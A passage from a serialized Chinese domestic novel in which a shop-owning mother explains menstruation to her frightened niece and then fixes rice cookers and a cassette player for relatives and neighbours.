平时他们俩就是谁看到家里有换下来的脏衣服,谁就顺手搓一搓。 两人都默认,谁有空谁就多做点家务。 结婚这么多年,没因为这些日常琐事闹矛盾,就是因为两个人都不是睁眼瞎。 不过现在是夏天还好,冬天一家四口换下来的衣服,洗起来也个力气活,水还冻手。 赵如月打算这个月的月底看看,店里出新产品后收入怎么样。 要是能有闲钱,等添置了商用烤箱,就在入冬前买一台洗衣机。 晒完衣服,她洗澡时被弄湿的头发也差不多干了。 回到女儿房间打开门,里面有些昏暗,只有书桌那边有亮光。 小姑娘正坐在书桌前,开着台灯,看图画故事书。 听到动静宁时夏转头一看,是妈妈来了,她才放下故事书,打开房间的大灯,关掉台灯。 拉着赵如月爬到床上:“妈妈快来,我们说悄悄话。” 赵如月从善如流地跟着闺女爬上床。 她闺女为了营造说悄悄话的氛围,还特地弄了个毯子,两个人一起盖,大热天的也不嫌热。 赵如月也乐得配合她玩,压低声音问:“你要跟妈妈说什么悄悄话?” 宁时夏凑到赵如月耳边,用很小的声音,放了个震惊她的大雷:“丹萍姐说她得了很重的病,可能快要死了,想求你带她去一趟县城,完成她的一个愿望,要不然她就要死不瞑目了。” “啊?”赵如月乍一听被吓了一大跳,还以为是真的。 可上次初中周末放假,她才刚见到过宁丹萍,她看起来不像生病的样子。 不但不像生病了,还因为宁时春来店里干活后,每周她放假和返校都给她准备好吃的。 店里做了好饭好菜,宁绍明不乐意送回老宅便宜以前给他添堵的那些人,就让宁时春也送一点去学校给宁丹萍吃。 宁丹萍伙食上去了,看着面色比以前健康红润很多,一段时间下来,也长了点肉,不像以前一样干干瘦瘦的了。 “丹萍生病的事,没跟她家里说?”赵如月有点怀疑生病只是个借口。 因为她听宁时秋说过,宁丹萍借他的自行车载同学挣钱,是想攒钱买一样她想买很久的东西。 可能宁丹萍想买的东西县城才有,但是宁丹萍每次放假都要回家帮忙干活,估计也怕攒钱的事被家里发现,没收她的钱。 她不敢找借口自己一个人去县城买,才想了这么一个办法,想让自己带她去。 宁时夏是真以为堂姐要死了,心里可难受:“丹萍姐不敢说,她怕大伯娘骂她,大伯是男的,她不好意思跟大伯说,也不许我跟爸爸、哥哥和爷爷说。 妈妈你帮帮丹萍姐吧,她太可怜了,留了好多血,她说她这两个月,每个月都会流血,第一次流血的时候还很少,这两个月流血越来越多了。 她还给我看过她擦血的纸,红通通一大片,好几张纸叠在一起也擦不完,老师说流很多血,时间久了,人真的会死掉的,以后我们可能就再也见不到她了。” 赵如月刚开始还皱着眉,听着听着感觉不对劲,听到后面就松了眉头,改变了想法。 自己的猜测八成错了,宁丹萍应该不是为了去县城找借口,而是不太懂生理常识。 现在的学校和学生很避讳谈论这些事情,学校可能没正经教过,生物老师上课时,上到相关内容真的很有可能会跳过去不讲。 但是闺女那么大了,王海燕这个当妈的竟然也不教,还不如自己建国前出生的老娘靠谱! 宁丹萍估计真以为,自己每个月流血是因为生病。 她第一次来月经的时候,估计身体还不如现在好,又是第一次来,可能来得比较少。 最近周末她回来吃得好了,偶尔又有人给她送好吃的,身体比以前好,月经量变多了也正常。 赵如月想着要不要趁着这个机会教教自家闺女,但是低头一看,自己家这个,还是个刚满四岁的宝宝,可能说了她也不懂。 还是只简单说一下,等她上小学四五年级的时候再认真地教吧。 赵如月问女儿:“你丹萍姐什么时候给你看她擦血的纸?” 宁时夏说:“今天下午,她又流血了,就偷偷请假出来找我,让我帮忙问问你,等她这星期放假能不能带她去一趟县城,妈妈可以吗?” “当然可以,这不是什么难事,我明天就抽空去镇初中看看丹萍,对了,妈妈也悄悄告诉你一个小秘密。” 跟妈妈之间的小秘密? 宁时夏来劲了,不顾额头已经开始热得出汗,钻进她怀里抱住她的胳膊:“什么什么?妈妈快跟我说!” 赵如月边轻柔地给她擦汗边说:“这个秘密就是,女孩子大概长到你丹萍姐这么大的时候,其实每个月都会流血,这是很正常的事,不会死的,你以后要是遇到这种情况,也别怕,回家告诉妈妈,妈妈会告诉你怎么办。” “真的吗?”宁时夏高兴地说,“那丹萍姐还是不是就不用死了?” “对。”她顺便跟女儿讲了,短袖短裤盖住的地方不能让别人碰,亲戚和其他认识的人也不行,谁让你觉得不舒服,可以远离他,不用觉得这样不好等等教她保护自己的话,直到女儿在自己怀里睡着。 赵如月把盖着两个人的毯子掀开,只给自己和宁时夏盖了腰部和肚脐眼的位置。 脑子里想着,小男孩也有可能遇上不好的事,改天得跟宁绍明说说,让他也教教儿子如何防范坏人、保护自己。 第二天早上。 赵如月起床洗漱后,把今天去买新鲜肉类的活接了过来,在去拿肉的时候,在大姑姐那里多买了两块加起来足有四斤的梅头肉。 回到家,让正在做纸杯蛋糕的宁绍明停下手里的活,把梅头肉塞给他。 “你昨晚不是想用电饭锅试做蜜汁叉烧没做成?先别忙做其他事了,用这块肉再试一下,我等会儿带一点去镇初中看看丹萍。” 女孩子来月经,就得多吃点肉补补,镇初中食堂混在菜里那丁点肉都不够孩子塞牙缝的,能补充多少营养? 初中的孩子正是长身体的时候,不管男女,大部分吃得都多,那胃就跟无底洞似的,她打算多带点。 其实要是带牛肉更好,可惜今天镇上卖牛肉的摊子没出摊,只能退而求其次。 宁绍明接过那块肉,不解地问:“怎么突然要去镇初中看丹萍,她怎么了?” “这是我们女人之间的秘密。” 她这么一说,宁绍明大概就猜到了,没再多问,快速处理好那块肉,放在一旁腌制。 赵如月着急要,宁绍明只腌制了半小时就放进电饭锅里,按下煮饭键开始煮。 前后不过一个小时,电饭锅做的蜜汁叉烧成功出锅。 宁绍明把肉拿出来,切片分装,又浇上酱汁,色泽十分诱人。 赵如月一看肉做好了,正好她老娘来帮忙,她甚至没等早上客人吃饭的高峰期过去,就把店里的一摊子事暂时扔给老娘,让她帮忙顶一会儿。 赵如月则钻进房间,用拿出一个黑色塑料袋,又装了一份炒米粉、一份一斤装的蜜汁叉烧肉和几个铜锣烧,骑上儿子的自行车往镇初中去。 宁丹萍这时候也已经起床了,她带着一沓纸跑到公厕,磨蹭了好一会儿才脸色难看地出来。 今天第二天,量比昨天更多了,她担心会渗透纸张染到裤子。 正准备让同学帮忙跟老师再请一天假,就听到有人说:“宁丹萍在吗?你家里人找,人在校门口等你,你快出去看看吧。” 宁丹萍愣了一下,回过神有点疑惑:“是我哥还是我弟来了?” 虽然这段时间,他们偶尔会给她送点好吃的来,但是一般都是傍晚的晚饭时间。 “不是男的,是女的,说是你三婶。” 宁丹萍眼睛一亮,以为是堂妹说通了三婶,答应带她去夏城,特地来说这事。 她顾不上小心翼翼地担心裤子里垫的纸会不会漏,快速往校门口的方向小跑。 赵如月看到她,顾不上说别的,直接拉着她往学校的公厕走。 她以前念初中的时候,也是在镇初中读书,还记得学校的公厕在哪里。 镇上财政不宽裕,投在教育上的钱少,从她读书那时候到现在,除了多出来一个让学生学习用电脑的信息室,镇初中的格局几乎没什么变。 这个信息室,其实也是港城的一位慈善家捐赠,那位慈善家还捐赠了一栋综合楼。 但现在还没开始建,到时候信息室也会搬到综合楼。 她顺着记忆走,果然公厕还在那里,现在这个时间,大部分学生都去了教室,公厕里没什么人。 赵如月打开黑色塑料袋,开始教宁丹萍怎么用卫生巾。 第88章 两个人都是女的,赵如月还是长辈,不用避嫌。 赵如月直接对宁丹萍说:“你先把裤子脱了,看内裤没有沾到经血,没沾到就不用回宿舍换了。” 宁丹萍整个人还懵着,赵如月催了两次,她才回过神来,红着脸按照她的话去做。 赵如月看到宁丹萍垫的是草纸,不由为她感到一阵心酸,赵如月自己这个年代的人,青春期的时候都不用垫草纸了,她却只有这个。 宁丹萍早上起来上厕所的时候,刚垫上的几层草纸,现在查看,经血还没渗透到第二张草纸上。 卷纸和抽纸比较贵,镇上除了开餐饮店的店家,很少有人舍得用。 而且店家就算用,买的也是质量不那么好的,节省成本。 很多人上厕所,用的都是十块钱很大一包,全家能用很久的粗纹草纸。 学生们也一样,宁丹萍自然也不例外。 这种粗纹草纸消毒等级肯定不如卷纸和抽纸,但好处是比较厚,吸水性也还可以。 宁丹萍看到那上面的血,想着自己可能会病死,难过地红了眼圈:“三婶,小夏是不是都跟你说了?” “嗯,她都跟我说了,那事我可以答应你,不过不是因为你生病,其实你没事,流这个血不是生病,是来月经了。 这是绝大部分女孩子到了年纪,每个月都会来的东西,你没觉得不舒服就不是生病,要是很久不来才是病了,“赵如月说着,拆开一包没打开过的日用卫生巾,拿出一片给她,“先把这个换上,按照这个包装上写的方法来换。” 她说着又忍不住吐槽王海燕:“你妈也真是的,姑娘大了该教的事都不教,还成天觉得她自己很会教孩子。” 赵如月一想到她家孩子告诉她,以前他们奶奶竟然说过,让大嫂帮忙教她家小夏的话,还是会觉得很恼火。 就她还帮人教别人家孩子,自家的都没教清楚呢! 宁丹萍也不是傻子,看了一遍包装袋上的使用方法,很快就把卫生巾换上了。 换上之后感觉跟草纸很不一样,沾得跟稳固不会移位的卫生巾,让她瞬间安全感满满,不用再那么担心沾了血的东西从裤管调出来了! 赵如月把黑色的塑料袋塞进她怀里,里面除了刚才拆封的那包,还有一包没拆封的卫生巾。 两包都是洁玲的全程护理装,也就是日用、夜用、超常夜用、护垫、迷你巾和单独的便携装都有的包装,一包满足所有来月经时所有情况的需求,非常方便。 现在镇上就只有这个价格合适质量又不错,更贵的没有了,更便宜的倒是有,但是质量不好。 想买别的更贵的进口卫生巾,得去县城买,价格贵不说,数量还少。 赵如月自己每个月用一包这个刚好够用,但她不知道宁丹萍够不够,就直接拿了两包给她。 “这里面我刚给你的绿色的是日用,蓝色是普通夜用,紫色是超长夜用,剩下最小的是迷你巾和护垫,这两个用法都差不多,你自己看着来,日用你自己估摸着月经的量,二到四个小时换一次,就算量很少的时候,最迟四个小时也得换了,记住了吗?” 宁丹萍知道自己没生病后,心里没那么沉重了。 但她还是郑重得像是抓住救命稻草一样,把怀里的塑料袋抱紧:“谢谢三婶,我记住了。” 赵如月本来想再跟她说点注意事项,但是上课铃响了,她只好把很多想说的话先下咽。 想起真初中不管是春夏秋冬都不给学生提供热水洗澡,她就叮嘱了一点: “来月经期间天气再热,也不要用冷水洗头洗澡,学校没有热水就先忍着,简单擦擦就行,也不能坐浴,等周五放假,可以去我那里洗温水淋浴。” “好,我都记住了。”宁丹萍认真地点头,把她的话全部记在心里。 说完担心自己没叮嘱到的事情她不懂,到时候再出问题,赵如月想了想问:“对了,你们的图书馆现在可以借书吗?” 宁丹萍说:“现在还不行,要等到中午放学和下午放学的时候,才能去图书馆借书。” “这样啊,那你中午或者下午放学后去图书馆找找,有没有《妇女实用大全》和《女子生活大全》之类的书,我说到的没说到的东西,书里都有写,你看完就明白了,要是你们图书馆里没有的这些书的话,回去我再给你看别的。” 赵如月家里相关的书只有两本,还不是她自己买的。 一本是去领结婚证的时候,领证的地方发的《婚前教育手册》。 另一本是怀上第一个孩子的时候去医院建档,计生委发的《性教育与优生》。 她记得这两本书里都提到女性生理知识,虽然发这些的目的是劝少生优生,但不妨碍它写的内容很实用。 赵如月看宁丹萍听得进去自己的话,没忍住多说了几句:“你平时有空也多去图书馆看看书,老师推荐的初中生必读读物要看,但别只看老师推荐的,多看点不同种类的书,有些东西你妈不教,书可以教你。” 现在没有手机、没有电脑,获取信息的渠道太窄,家长不靠谱的情况下,只能多看书了。 很多以前出版的书主打一个实用,真的能教人不少东西。 离开厕所,赵如月把带来的吃的交给她,才想起来问:“你小肚子疼吗?” 宁丹萍摇头:“第一次来的时候有点疼,最近两个月已经没什么感觉了。” 赵如月点头:“那就好。” 第一次估计是以前吃得不够营养,亏着了,身子骨不够强壮,气血不足。 但身体底子应该还算不错,只要吃得够营养,补上了,平时再有点运动就行。 两人走到校门口,赵如月道:“我先回去了,你上课去吧,周五我就去跟你妈说,周六带你去一趟县城,借你帮我干点活。” 宁丹萍看着她骑车走远,又低头看看她给自己带的东西,感动得又想掉眼泪。 她住校那么久,她爸妈都没来学校看过她呢。 别人对她坏,她也许还能咬牙硬撑,强忍住不哭,可接受到好意时,眼泪是真的很难忍住。 赵如月去镇初中这一趟也没话多少时间。 回到家,她又投入到了忙碌的工作中,一直忙到十点半,客人少了些,才有时间帮她老妈看那个坏了的电饭锅。 她也不回后面院子里去了,就在店里找了张没客人坐的桌子,拿出工具箱,开始拆那个电饭锅。 边拆边问她老妈:“你这电饭锅怎么个坏法?” 邓细妹仔细回忆那时候的情况:“我那天正要煮饭,米洗好了,水也放好了,把内胆放进去就……” “停停停。”赵如月忙打断她的话,按照她那个回顾剧情一样的说法,得说到什么时候? “你这是学电视剧回顾剧情呢?不用说这些,你就说它是通不上电,灯不亮,还是通电了、灯也亮了,煮饭却不加热,或者通电了也加热,但是饭总是煮得半生不熟?” 邓细妹忙道:“对对对,就是通电了,灯也亮,也加热,但是饭总是煮得半生不熟,我还以为是我老糊涂了,水放太少了呢,后来试了好几次,总是这样,才知道不是我的问题,是它有毛病!” 赵如月:“那我大概明白怎么回事了。” 邓细妹又忍不住絮叨:“我带去那个修理店让人看,那个人也是拆开下面,检查了一下,说要换什么什么热什么器来着?换零件加修理费,得五十块钱,我就给了他两块钱,让他把下面装回去,又带着锅回家去了,五十块钱,我再添点能买个新锅!” 赵如月干起活来,就自动屏蔽了她絮絮叨叨的话,利索地拆开底座,检查了一下热敏传感器。 “热敏传感器没问题,不用换。” 邓细妹愤愤道:“修理店那小子做生意也也太不实诚了,估计觉得我这老太太不懂,想忽悠我呢!以前也不知道忽悠过多少人!” “谁知道呢,镇上就这么一家修理店,大部分人也不懂那里面的门道,感觉到不对劲也没办法,找不到证据,东西不在他那里修要么没得用,要么就得去县城,可能去县城比在他那里花费更多。” 赵如月检查好这里,又去看别的地方。 先拿出内胆,好家伙,不看不知道,一看吓一跳。 这种老式电饭锅是铝合金内胆,原本是偏白的颜色。 但她老妈这个电饭锅的内胆底部乌漆嘛黑,摸着也不太平整,像是被熊孩子用鞭炮炸过一样。 再看看加热盘,也是黑漆漆的,加热盘的缝隙之间,也可以看到一些黑色的碎屑,估计是饭粒或者别的小东西掉进去,没及时清理。 赵如月把内胆给她:“你用钢丝球洗一洗这个。” 邓细妹以为她觉得自己用得东西脏,忙解释:“这个不是我不想洗干净,是这上面的黑色洗不出来,用钢丝球也刷不干净。” “你只管先去刷,刷不出来的地方我来处理。” 邓细妹去刷内胆的时候,赵如月继续检查别的地方,加热盘看起来也很脏,但没有凹凸不平的地方,不用换,只要清理干净就行了,尤其是加热盘中间的磁钢。 她把磁钢拆下来,刮掉上面的油垢,再用砂纸打磨干净,她老妈洗好擦干的内胆底部也是一样。 把内胆弄干净后,再把内胆凹凸不平的地方,敲平整就行了。 邓细妹在旁边看着,觉得她闺女的手简直神了,这么一打磨,看起来简直跟新的一样! “那个纸片片贵不?”她指着赵如月手上的砂纸,“要是不贵的话,我买点,以后自己擦擦。” 赵如月担心她乱来,吓唬她道:“你当心东西拆开装不回去,有什么问题,再来找我不就行了,几步路的事,什么都让你自己来,要我们这些子女做什么?” “也是哈。”邓细妹听着闺女那些话,感觉心里暖洋洋的,也不说要买砂纸了。 两人说着话,赵如月已经把磁钢和底座装回去,再次把内胆交给她老妈:“你煮点饭试试看。” “这就行了?”邓细妹拿着内胆左看看右瞧瞧,没瞧出什么名堂。 “行不行得先煮一锅饭,试试看才知道,我去给你拿米。” “不用,我知道米在哪里,你歇着吧。”邓细妹有点兴奋地拿着电饭锅往厨房走。 厨房里,宁绍明和宁时春想帮她拿米淘米都不让。 自己往内胆里舀了一碗米,淘洗好,加入适量的水,拿着底部还湿漉漉的内胆就要往电饭锅里放。 赵如月急忙拦住她:“你平时也是这样,不擦干电饭锅内胆外面的水,就这么往里放?你看看这里,还沾了个小葱末。” 怪不得加热盘的缝隙里会有那么多脏东西…… 她老妈两眼迷茫:“它也不滴水啊,还要擦干才行?” 赵如月:“……” 第89章 “我的亲娘诶!可不能这么直接放进去!” 手边刚好有平时用来擦桌子的抹布,赵如月拿起来给她:“你以前煮饭的时候,这么放进去,通电后没听到电饭锅加热盘滋滋响?” “听到了,我还以为它就这样……”邓细妹赶紧用抹布把内胆外面擦干净。 突然发现自己以前的做法不对,弄得她有点不自信了,检查了好几次,确认没有水也没有沾到什么东西,又让赵如月帮忙检查一次,确认没问题,才小心地把内胆放进去。 “还有什么要注意的,你也一起跟我说了吧,要不我还跟以前一样用,这电饭煲还得坏。” 赵如月想了想跟她说:“内胆不要用力磕碰,不要煮酸碱类的东西,注意用电安全,然后好像也没有其他需要特别注意的了。 你也不用太紧张,把它看得跟个宝贝似的小心翼翼,电器本来就有使用寿命,用这么多年,已经用回本了,以后多用一年算多赚一年。” 邓细妹一想,觉得女儿说得也有道理,而且现在也不像以前,以前家里唯一的电器就是电灯,现在很多人家电饭锅、收音机、电视机什么的都有了。 他们家虽说日子不如别人家富裕,但用不了多久也会有。 想到这里,邓细妹终于想起自己还有一件事差点忘了跟闺女说。 “你哥攒了点钱,让我问问你,下次去县城的时候能不能帮他看看,县城的百货商场里的电视现在卖多少钱,有没有现货,先看看价钱他好心里有底。” “我哥怎么想着要买电视?” 邓细妹说:“家里孩子总去别人家看也不是个事。” 赵如月听出不对劲来。 城里她不太了解,感觉应该普遍都有电视了。 但是在她们这样不富裕地区的乡下,有电视的人家不多,去有电视的邻居家看电视,是一件很正常的事,邻居一般不会赶人。 除非两家有矛盾,但是她妈不说,她也不会多问,毕竟现在不如以后,现在的很多风俗都是按传统来。 娘家的事,娘家人不说,嫁出去的女儿不能过多插手,不然很容易就成搅家精了。 当然父母养老方面责任也不会平分,主力肯定是她哥嫂,她和她姐姐妹妹平时不需要给钱,只有父母生病或者逢年过节给点。 她要是每个月都给父母养老钱,别人才会觉得她有毛病。 “我哥跟你说他攒了多少钱没?”赵如月问。 邓细妹点头:“说了,攒了六百多,差一点到七百,我寻思要是钱不够,我跟你爸就给他添点儿。” “应该是够的,电视的价格没怎么涨。” 她俩正说着,没注意到孩子中午放学时间到了。 宁时秋从背后冒出来,说了一句:“电视快要降价了。”把两人都吓了一跳。 “哎哟!这俩孩子走路怎么没声,”邓细妹拍了拍胸口,“你俩怎么回来了?” 宁时夏看外婆竟然这样都被吓到,哈哈笑起来:“是你们说话太认真了,没注意到我们,你们看看时间,学校早放学了。” 赵如月一看时间——十二点四十。 “还真是早放学了,又轮到你们放学打扫卫生?”要不放学后,他们俩跑回来也用不着那么久。 宁时夏解释道:“不是,六一过了,哥哥班上要换黑板报,老师说我哥的字好看,让他帮忙写。就耽误回来的时间了。” 她话刚说完,人已经冲到了厨房门口大声喊:“爸爸,我肚子饿扁了,今天能不能多吃一个小蛋糕?” “你今天要是能吃掉八根青菜,我就相信你肚子饿得能多吃一个小蛋糕。”宁绍明端着两个盘子出来。 一盘是今天早上用电饭锅做的蜜汁叉烧。 这个叉烧,赵如月给宁丹萍送去一斤,还剩下三斤。 虽然赵如月说让他简单炒两个菜就行,但宁绍明看了看,这点肉四个大人加两个孩子吃有点少,再加上丈母娘也来了,只有两个菜不好看。 就多做了一盘凉拌羊杂和一盘猪肉炒豆角,汤是现成的羊汤。 招待丈母娘,有四菜一汤,中午这顿饭才比较像样,不过别的还没拿出来。 宁时夏踮起脚看了一眼,看到他手上的另一盘菜是蒜蓉炒空心菜,哀嚎道:“爸爸,今天又吃空心菜啊?” “夏天就是这些比较多,不吃空心菜,我就要做炒豆角了,你更乐意吃豆角啊?” “那我还是吃空心菜吧,我想往菜里放一点点你做的蒜蓉辣椒酱可以吗?” “可以,跟你哥去洗手,然后把碗筷拿出来。” 邓细妹慈爱地看着外孙和外孙女往院子里跑,转头对赵如月说道:“小夏的口味像你,吃青菜都要放点辣椒酱,也不怕热气。” 赵如月笑着说:“她跟我一样不容易上火,她哥就不行,多吃一点,第二天扁桃体就不舒服,得喝点罗汉果煮的水压下去,对了,刚刚他是不是说电视会降价?我们光顾着看小夏闹腾,忘记仔细问了,不知道会不会又是他老师教的。” “老师还教这些?”邓细妹一把年纪了,可从没听说过学校也教这些东西。 赵如月不知道该怎么跟她解释,她外孙看书跟别人看书,好像不太一样。 别人做题只是做题,做出来就行了,他还会关注到别的东西,吸收到一些课本之外的知识。 只能含糊地说道:“我都毕业多少年了,哪知道现在的学校都教什么,听说现在的学校教的东西可丰富了,花样也多得很。 小秋回来还跟我说,他们上化学课和物理课,还能去实验室做实验,可有意思了,以前我上学的时候可没有这些。” “没错没错,思芸和光伟回家也说过,之前三月份的时候,还有什么春游,还带了家里的锅去河滩边野炊来着。” 饭桌上,赵如月又问儿子:“你们老师跟你说,电视快要降价了?” 宁时秋摇头:“不是,今天老师叫我和其他班干去她办公室,商量黑板报的事,我负责找适合写在黑板报上的小故事,她让我随便看她办公室里的书,我找到小故事后,等同学等得无聊,就看了看老师桌上的杂志,那些杂志上写的。” “不会是财经杂志吧?”赵如月试探着问。 宁时秋想了想说:“杂志封面上确实都写着什么什么财经,太多了,我没注意看。” 赵如月是真的震惊了:“你这么小,竟然已经看得懂财经杂志了?” 宁时秋不明白妈妈为什么那么惊讶:“看那些文章,不就跟看语文课上的阅读理解差不多吗?” “这……”这让她该怎么说呢。 也有可能是她比较孤陋寡闻,还是第一次见到,有人把财经杂志里的文章,用阅读理解的方式去看。 到底怎么用啊? 赵如月这么想着,也问了出来:“你怎么看的?” 这下轮到宁时秋挠头了:“啊?什么怎么看,就像看别的书那样,正常看呀。” “算了……”赵如月觉得自己就多余问,她要是懂的话,早再90年代的时候,搭上时代的浪潮,成为富一代了。 她干脆直接问儿子:“你觉得大概什么时候买电视比较合适?” 宁时秋想都没想,脱口而出:“他们好像要抢人,我觉得等到卖电视的商家到处抢人的时候再买比较合适。” 其实书上说的是要抢市场,但是他在另一本书上又看到过,一句话,市场的核心就是人。 他担心妈妈又听不懂,就直接说抢人了。 果然,这次他妈妈就听懂了,然后说了一个他不懂的词。 “等他们打价格战啊?那确实会降价,”赵如月对邓细妹说道,“妈,你让我大哥再等等,别那么早买电视,我跟绍明以后去县城会多注意一下电视的价格,等他们打价格战给最低价格的时候再买。” 旁边宁时秋拽了拽她的衣袖:“妈妈,什么是打价格战?是跟打仗一样吗?不是说我们国家已经和平了,不会再打仗了吗?” “这个……”该怎么解释呢? 赵如月知道那是什么意思、什么事。 可让她正经解释,那就像考试的时候考名词解释一样。 她压根没背过,只能用自己的话写个大概意思,然而这样大概是不会得分的。 赵如月怕自己说了有哪里不对,反而会误导孩子,只能说:“好像是商家互相竞争的方法,我也不太懂,你要不回学校问问你们老师?或者让你们老师给你推荐写这个的书看一看。” 宁时秋松开手:“好吧,我下午去学校问问老师。” 她儿子还是挺好打发的,跟他说自己不懂,他就不会再追根究底非要问个明白不可。 可惜开店注定没办法安安生生地从头到尾吃完一顿午饭。 他们吃饭的时候,时不时会有客人来吃东西,赵如月和宁绍明就得起来先招呼客人。 下午不怎么忙,赵如月就让邓细妹回去歇着了。 邓细妹抱着修好的电饭锅回去,在街上一路走,一路遇到熟人。 遇到熟人就难免停下来说两句话,原本十分钟的路程,硬生生走了半个小时还没到家。 等她到家,整条小桥街和隔壁大桥街都知道了,她闺女赵如月会修电器的事。 下午小孩子放学的时候,还有带孩子来买铜锣烧的街坊问她:“我听你妈说,你会修电视机?” 赵如月给她老妈修电饭锅前,猜到电饭锅修好之后,她老妈可能会到处跟人说,电饭锅是她修好这事。 却没料到,这件事会传得那么离谱。 最离谱的是,下午没客人了,她关店门的时候,她大姑姐竟然扛着一台收音机和几个磁带来找她。 “三弟妹,你能不能帮我看看,我这收音机是不是哪里坏了?” 赵如月感到心累:“姐,我不会修这个。” 宁美婷惊讶道:“你不会修啊?我听人说,你在鹏城学过家电维修,跟镇上修理店那个人一样,什么都会修一点,才把收音机搬来。 这……我搬都搬来了,这钱给别人挣,不如给自己人挣,你要不先试试看?修好了,修理费我准一分不少地给你。” “这不是钱的事,我们是自家人,就算我会,修好了也不能要你的钱啊,更别说我根本不会修。” “先看看嘛,反正这收音机本来就有点毛病,拆开装不回去我也没怨言。” 宁美婷非要她帮忙看看,赵如月没办法,只好硬着头皮问:“你这收音机哪里坏了?” “我开给你听,我这收音机可以收听广播电台,也能放磁带听歌,但是我这几张磁带突然就放不出歌了。” “会不会是磁带的问题?你试过其他磁带了吗?” “没有,我就喜欢听这几张,买一年了,我看别人的磁带能用好多年,不会就我的那么容易坏吧?” 赵如月就看到她咔咔按下倒带按钮。 等里面的磁带倒带完,又按下播放按钮,收音机里穿出滋滋啦啦的声音。 偶尔听到一两句扭曲失真的歌词。 赵如月一言难尽地问:“你平时就这么倒带再播放?” “是啊,那磁带里面两个圈,里面装歌的东西好像叫磁条还是什么的?反正就是跟绳子一样卷起来的,听歌的时候,那磁条就从左边的圈,卷到右边的圈,不把它倒回到左边,就播放不了。” “一个磁带十首歌,你是不是一直只能听五首?” 听赵如月说到这个,宁美婷可算是找到知音了。 她一拍大腿,大骂奸商:“卖给我的时候,说是能听十首歌,结果回来一放,只能听五首,我还在他家买了好几张磁带!要不是卖磁带的店在市里,去一趟太费劲,我保准找他算账去!” 赵如月“……”有点替卖磁带的商家感到委屈。 她按下停止的按钮,拿出磁带,翻了个面放进去。 再次按下播放按钮。 于是,宁美婷终于听到了另外五首歌。 “不是,这是怎么回事?” “这是磁带的正确用法,它磁条两面都有歌,你想倒带也最好不要直接在机器里倒,可以拿出来往那两个小圈中间插两支笔,转着倒,不然可能会对磁条里面的东西造成损伤。” “原来是这样用,哈哈,”宁美婷干笑几声,“是我错怪那个买磁带的店家了。” 她从第一次听歌起,就在心里诅咒卖磁带给自己的店家早点倒闭,没想到竟然错怪人家了,感觉怪不好意思的。 “另外五首你能修吗?” 这个赵如月真不能:“修复磁带应该需要专门设备,我真不会修,你这磁带之前那五首八成是听不了。” “好吧,我改天有空再去买新的,还有得听就行。” 宁美婷抱着收音机离开了,她寻思给钱估计三弟妹也不要,明天再给他们送个大猪蹄来。 她离开前,赵如月特地拉着她叮嘱:“姐,你可别跟我妈一样,到处跟人说我会修东西,我那三脚猫的手艺,又没正经学过,那是真拿不出手,万一别人真相信了,辛辛苦苦抱着东西来,我修不了,又让人白白抱着回去多辛苦,多落人埋怨,你说对吧?” “你说的对,”宁美婷跟她保证,“我回去指定不跟别人说。” 她回去的路上还真挑着人少的小路走,下午太阳又很晒,一路上很幸运的没遇到什么人,她自然没机会跟别人说。 然而她来的时候大张旗鼓,逢人问就说要把收音机带去给自己三弟妹看看,听说自己三弟妹会修。 第二天她把收音机带到摊位上听歌,别人都不用问,也知道她收音机又好了,又能听歌了。 那这收音机还能是谁修好的,肯定是她三弟妹呗! 这天赵如月在店里招待客人,一早上被问八百回,人都回答到麻木了。 而且来找她修东西的人更多了,好在都是找她修电饭锅,没有别的东西。 来的人还蛮贴心,知道她上午忙,下午才有空闲。 全都是下午扎堆一起来找她,足有七八个! 来的人是她妈的老闺蜜们,也是她娘家那边的大娘大婶们。 这些人不但跟她妈关系比较好,也跟她是亲戚。 小时候这些人给过她东西吃不说,还时不时在她妈忙的时候,帮忙带过她。 赵如月也不好拒绝人家,只能撸起袖子,一个一个地看过去。 这些跟她老妈玩得好的老闺蜜们,用电饭锅的习惯跟她如出一辙。 可能就是是因为这样,她老妈才会那么多年都不知道,电饭锅内胆要擦干净水。 所以她们带来的电饭锅问题几乎都差不多,只有两个电饭锅问题多点。 这两个电饭锅,一个除了要清理,还要换保险丝,另一个加热盘坏了,需要更换。 换加热盘也不麻烦,赵如月让她们自己去五金店或者修理店买零件,保险丝不超过五块钱,加热盘不超过十五块钱,回来换上就能用了。 等电饭锅修好,赵如月听着一连串夸奖,把人都送走后,急忙关了店门,跑回后面院子里,生怕再有人带着电器来找她修。 宁绍明递给她一杯泡了胖大海的水:“累坏了吧?喝点水润润嗓子。” 赵如月接过杯子喝了一大口后说:“还行,也不是很累,就是很心虚。” 她把杯子放到旁边的桌子上,从口袋里掏出一把纸币。 这些都是来找她修电饭锅的大娘大婶们硬塞给她的钱。 赵如月把钱上的褶皱摊平,数了数:“竟然有八十五块钱!” 她想了想,一共八个人,带了九个电饭锅。 有一个婶子带的两个电饭锅来,其中一个就是要换加热盘的那个电饭锅,这个电饭锅还能修,另一个就彻底坏了,没法修了。 这个婶子给了她十五块钱,其他人给的应该都是十块。 “没想到修电器还挺挣钱的!”赵如月高兴地把这些钱数了又数,忽然那股心虚劲儿又起来了。 她看向宁绍明问:“我没学过修理电器,这样收钱是不是不太好?总感觉我不专业,这钱收得亏心。” 宁绍明不这么认为:“他们去别的地方修,要花的可不止这么些钱,你帮她们解决了问题,给她们省了钱,应该高兴才是,我看你修那些电饭锅的时候,看起来就挺高兴的,脸上都是笑,不是应付的那种笑,是真心的笑。” “是吗?”赵如月不禁摸了摸自己的脸,她以为自己笑只是因为对着长辈们需要礼貌,“你还能看出这个?” 宁绍明对这一点十分自信:“我要是看不出来,你嫁的就不是我了。” 想到赵如月总是纠结自己学没学过,专不专业的问题。 他干脆对赵如月说道:“要不你去找人专门学学?我听说镇上开修理店的那个,也只是去跟他舅舅学了一段时间,有没有一年都不一定,回来就自己开店了,你只是看看就能学会,肯定比他厉害!” 赵如月听了他的话,第一反应是摆手:“我专门去学这个干嘛?店里忙起来的时候,忙得恨不得脚打后脑勺,我哪有时间去学?” “这有什么,镇上雇人又不贵,忙的时间段,我们可以雇个临时工来帮忙。” 赵如月有点心动,可想想又摇头:“这样也不太好,我们店里有些东西的做法,镇上不少开店的都想知道,雇临时工,万一被临时工透露出去了怎么办?” 宁绍明的眼神没从她脸上移开过,看出了她其实不是不想学,只是没想过自己能去学,也不放心店里和家里的事。 宁绍明觉得她是真心喜欢做这个,不想她以后后悔。 又换了个方法劝她:“那这样,等找到师傅后,我们跟师傅商量一下,只星期一到星期五下午去学,别的时间,你继续在店里?” 赵如月隐约觉得这样没准可以,但她的心不知道怎么,突然砰砰地快速跳起来,这种感觉像是兴奋又像是慌乱。 